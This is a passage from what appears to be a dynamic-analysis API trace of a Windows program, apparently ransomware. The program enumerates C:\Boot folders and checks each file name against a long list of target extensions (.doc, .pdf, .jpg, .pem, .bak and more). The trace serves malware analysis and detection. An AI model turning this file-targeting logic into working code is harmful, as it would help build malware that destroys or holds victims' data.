lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".j2k") returned 4 [0093.183] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".java") returned 5 [0093.183] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0093.183] lstrlenW (lpString=".jp2") returned 4 [0093.183] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".jpc") returned 4 [0093.183] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".jpe") returned 4 [0093.183] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".jpeg") returned 5 [0093.183] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0093.183] lstrlenW (lpString=".jpf") returned 4 [0093.183] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".jpg") returned 4 [0093.183] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".jpx") returned 4 [0093.183] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".js") returned 3 [0093.183] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0093.183] lstrlenW (lpString=".jsf") returned 4 [0093.183] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".json") returned 5 [0093.183] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0093.183] lstrlenW (lpString=".jsp") returned 4 [0093.183] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0093.183] lstrlenW (lpString=".kdc") returned 4 [0093.184] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".kmz") returned 4 [0093.184] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".kwm") returned 4 [0093.184] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".lasso") returned 6 [0093.184] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0093.184] lstrlenW (lpString=".lbi") returned 4 [0093.184] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".lgf") returned 4 [0093.184] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".lgp") returned 4 [0093.184] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".log") returned 4 [0093.184] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".m1v") returned 4 [0093.184] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".m4a") returned 4 [0093.184] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".m4v") returned 4 [0093.184] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".max") returned 4 [0093.184] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0093.184] lstrlenW (lpString=".md") returned 3 [0093.185] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0093.185] lstrlenW (lpString=".mda") returned 4 [0093.185] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mdb") returned 4 [0093.185] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mde") returned 4 [0093.185] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mdf") returned 4 [0093.185] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mdw") returned 4 [0093.185] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mef") returned 4 [0093.185] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mft") returned 4 [0093.185] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mfw") returned 4 [0093.185] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mht") returned 4 [0093.185] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mhtml") returned 6 [0093.185] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0093.185] lstrlenW (lpString=".mka") returned 4 [0093.185] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0093.185] lstrlenW (lpString=".mkidx") returned 6 [0093.185] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0093.185] lstrlenW (lpString=".mkv") returned 4 [0093.186] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mos") returned 4 [0093.186] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mov") returned 4 [0093.186] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mp3") returned 4 [0093.186] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mp4") returned 4 [0093.186] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mpeg") returned 5 [0093.186] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0093.186] lstrlenW (lpString=".mpg") returned 4 [0093.186] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mpv") returned 4 [0093.186] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mrw") returned 4 [0093.186] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".msg") returned 4 [0093.186] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0093.186] lstrlenW (lpString=".mxl") returned 4 [0093.187] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".myd") returned 4 [0093.187] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".myi") returned 4 [0093.187] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".nef") returned 4 [0093.187] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".nrw") returned 4 [0093.187] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".obj") returned 4 [0093.187] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".odb") returned 4 [0093.187] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".odc") returned 4 [0093.187] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".odm") returned 4 [0093.187] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".odp") returned 4 [0093.187] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".ods") returned 4 [0093.187] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".oft") returned 4 [0093.187] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".one") returned 4 [0093.187] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0093.187] lstrlenW (lpString=".onepkg") returned 7 [0093.188] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0093.188] lstrlenW (lpString=".onetoc2") returned 8 [0093.188] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0093.188] lstrlenW (lpString=".opt") returned 4 [0093.188] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".oqy") returned 4 [0093.188] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".orf") returned 4 [0093.188] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".p12") returned 4 [0093.188] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".p7b") returned 4 [0093.188] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".p7c") returned 4 [0093.188] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pam") returned 4 [0093.188] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pbm") returned 4 [0093.188] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pct") returned 4 [0093.188] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pcx") returned 4 [0093.188] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pdd") returned 4 [0093.188] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0093.188] lstrlenW (lpString=".pdf") returned 4 [0093.189] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pdp") returned 4 [0093.189] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pef") returned 4 [0093.189] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pem") returned 4 [0093.189] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pff") returned 4 [0093.189] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pfm") returned 4 [0093.189] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pfx") returned 4 [0093.189] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".pgm") returned 4 [0093.189] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".php") returned 4 [0093.189] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0093.189] lstrlenW (lpString=".php3") returned 5 [0093.189] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0093.189] lstrlenW (lpString=".php4") returned 5 [0093.189] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0093.189] lstrlenW (lpString=".php5") returned 5 [0093.189] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0093.189] lstrlenW (lpString=".phtml") returned 6 [0093.189] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0093.189] lstrlenW (lpString=".pict") returned 5 [0093.189] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0093.190] lstrlenW (lpString=".pl") returned 3 [0093.190] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0093.190] lstrlenW (lpString=".pls") returned 4 [0093.190] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".pm") returned 3 [0093.190] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0093.190] lstrlenW (lpString=".png") returned 4 [0093.190] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".pnm") returned 4 [0093.190] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".pot") returned 4 [0093.190] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".potm") returned 5 [0093.190] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0093.190] lstrlenW (lpString=".potx") returned 5 [0093.190] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0093.190] lstrlenW (lpString=".ppa") returned 4 [0093.190] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".ppam") returned 5 [0093.190] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0093.190] lstrlenW (lpString=".ppm") returned 4 [0093.190] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".pps") returned 4 [0093.190] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0093.190] lstrlenW (lpString=".ppsm") returned 5 [0093.191] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0093.191] lstrlenW (lpString=".ppt") returned 4 [0093.191] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".pptm") returned 5 [0093.191] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0093.191] lstrlenW (lpString=".pptx") returned 5 [0093.191] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0093.191] lstrlenW (lpString=".prn") returned 4 [0093.191] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".ps") returned 3 [0093.191] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0093.191] lstrlenW (lpString=".psb") returned 4 [0093.191] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".psd") returned 4 [0093.191] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".pst") returned 4 [0093.191] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".ptx") returned 4 [0093.191] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".pub") returned 4 [0093.191] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".pwm") returned 4 [0093.191] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0093.191] lstrlenW (lpString=".pxr") returned 4 [0093.191] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0093.192] lstrlenW (lpString=".py") returned 3 [0093.192] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0093.192] lstrlenW (lpString=".qt") returned 3 [0093.192] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0093.192] lstrlenW (lpString=".r3d") returned 4 [0093.192] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0093.192] lstrlenW (lpString=".raf") returned 4 [0093.192] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0093.192] lstrlenW (lpString=".rar") returned 4 [0093.192] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0093.192] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0093.192] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0093.192] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0093.192] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0093.193] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0093.193] lstrlenW (lpString="C:\\Boot\\lv-LV") returned 13 [0093.193] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0093.193] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.193] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0093.193] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0093.193] lstrlenW (lpString=".1cd") returned 4 [0093.193] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0093.193] lstrlenW (lpString=".3ds") returned 4 [0093.193] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0093.193] lstrlenW (lpString=".3fr") returned 4 [0093.193] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0093.193] lstrlenW (lpString=".3g2") returned 4 [0093.193] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0093.193] lstrlenW (lpString=".3gp") returned 4 [0093.193] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0093.193] lstrlenW (lpString=".7z") returned 3 [0093.193] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0093.194] lstrlenW (lpString=".accda") returned 6 [0093.194] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".accdb") returned 6 [0093.194] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".accdc") returned 6 [0093.194] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".accde") returned 6 [0093.194] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".accdt") returned 6 [0093.194] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".accdw") returned 6 [0093.194] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0093.194] lstrlenW (lpString=".adb") returned 4 [0093.194] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0093.194] lstrlenW (lpString=".adp") returned 4 [0093.194] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0093.194] lstrlenW (lpString=".ai") returned 3 [0093.194] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0093.194] lstrlenW (lpString=".ai3") returned 4 [0093.194] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0093.194] lstrlenW (lpString=".ai4") returned 4 [0093.194] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0093.194] lstrlenW (lpString=".ai5") returned 4 [0093.194] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0093.194] lstrlenW (lpString=".ai6") returned 4 [0093.195] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".ai7") returned 4 [0093.195] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".ai8") returned 4 [0093.195] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".anim") returned 5 [0093.195] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0093.195] lstrlenW (lpString=".arw") returned 4 [0093.195] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".as") returned 3 [0093.195] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0093.195] lstrlenW (lpString=".asa") returned 4 [0093.195] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".asc") returned 4 [0093.195] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".ascx") returned 5 [0093.195] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0093.195] lstrlenW (lpString=".asm") returned 4 [0093.195] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".asmx") returned 5 [0093.195] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0093.195] lstrlenW (lpString=".asp") returned 4 [0093.195] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0093.195] lstrlenW (lpString=".aspx") returned 5 [0093.195] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0093.195] lstrlenW (lpString=".asr") returned 4 [0093.195] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".asx") returned 4 [0093.196] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".avi") returned 4 [0093.196] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".avs") returned 4 [0093.196] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".backup") returned 7 [0093.196] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0093.196] lstrlenW (lpString=".bak") returned 4 [0093.196] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".bay") returned 4 [0093.196] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".bd") returned 3 [0093.196] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0093.196] lstrlenW (lpString=".bin") returned 4 [0093.196] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".bmp") returned 4 [0093.196] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".bz2") returned 4 [0093.196] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".c") returned 2 [0093.196] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0093.196] lstrlenW (lpString=".cdr") returned 4 [0093.196] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0093.196] lstrlenW (lpString=".cer") returned 4 [0093.196] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".cf") returned 3 [0093.197] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0093.197] lstrlenW (lpString=".cfc") returned 4 [0093.197] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".cfm") returned 4 [0093.197] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".cfml") returned 5 [0093.197] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0093.197] lstrlenW (lpString=".cfu") returned 4 [0093.197] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".chm") returned 4 [0093.197] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".cin") returned 4 [0093.197] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".class") returned 6 [0093.197] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0093.197] lstrlenW (lpString=".clx") returned 4 [0093.197] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".config") returned 7 [0093.197] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0093.197] lstrlenW (lpString=".cpp") returned 4 [0093.197] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".cr2") returned 4 [0093.197] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0093.197] lstrlenW (lpString=".crt") returned 4 [0093.198] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".crw") returned 4 [0093.198] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".cs") returned 3 [0093.198] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0093.198] lstrlenW (lpString=".css") returned 4 [0093.198] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".csv") returned 4 [0093.198] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".cub") returned 4 [0093.198] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".dae") returned 4 [0093.198] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".dat") returned 4 [0093.198] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".db") returned 3 [0093.198] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0093.198] lstrlenW (lpString=".dbf") returned 4 [0093.198] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".dbx") returned 4 [0093.198] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".dc3") returned 4 [0093.198] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0093.198] lstrlenW (lpString=".dcm") returned 4 [0093.198] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".dcr") returned 4 [0093.199] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".der") returned 4 [0093.199] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".dib") returned 4 [0093.199] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".dic") returned 4 [0093.199] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".dif") returned 4 [0093.199] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".divx") returned 5 [0093.199] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0093.199] lstrlenW (lpString=".djvu") returned 5 [0093.199] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0093.199] lstrlenW (lpString=".dng") returned 4 [0093.199] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".doc") returned 4 [0093.199] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".docm") returned 5 [0093.199] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0093.199] lstrlenW (lpString=".docx") returned 5 [0093.199] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0093.199] lstrlenW (lpString=".dot") returned 4 [0093.199] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0093.199] lstrlenW (lpString=".dotm") returned 5 [0093.199] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0093.199] lstrlenW (lpString=".dotx") returned 5 [0093.200] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0093.200] lstrlenW 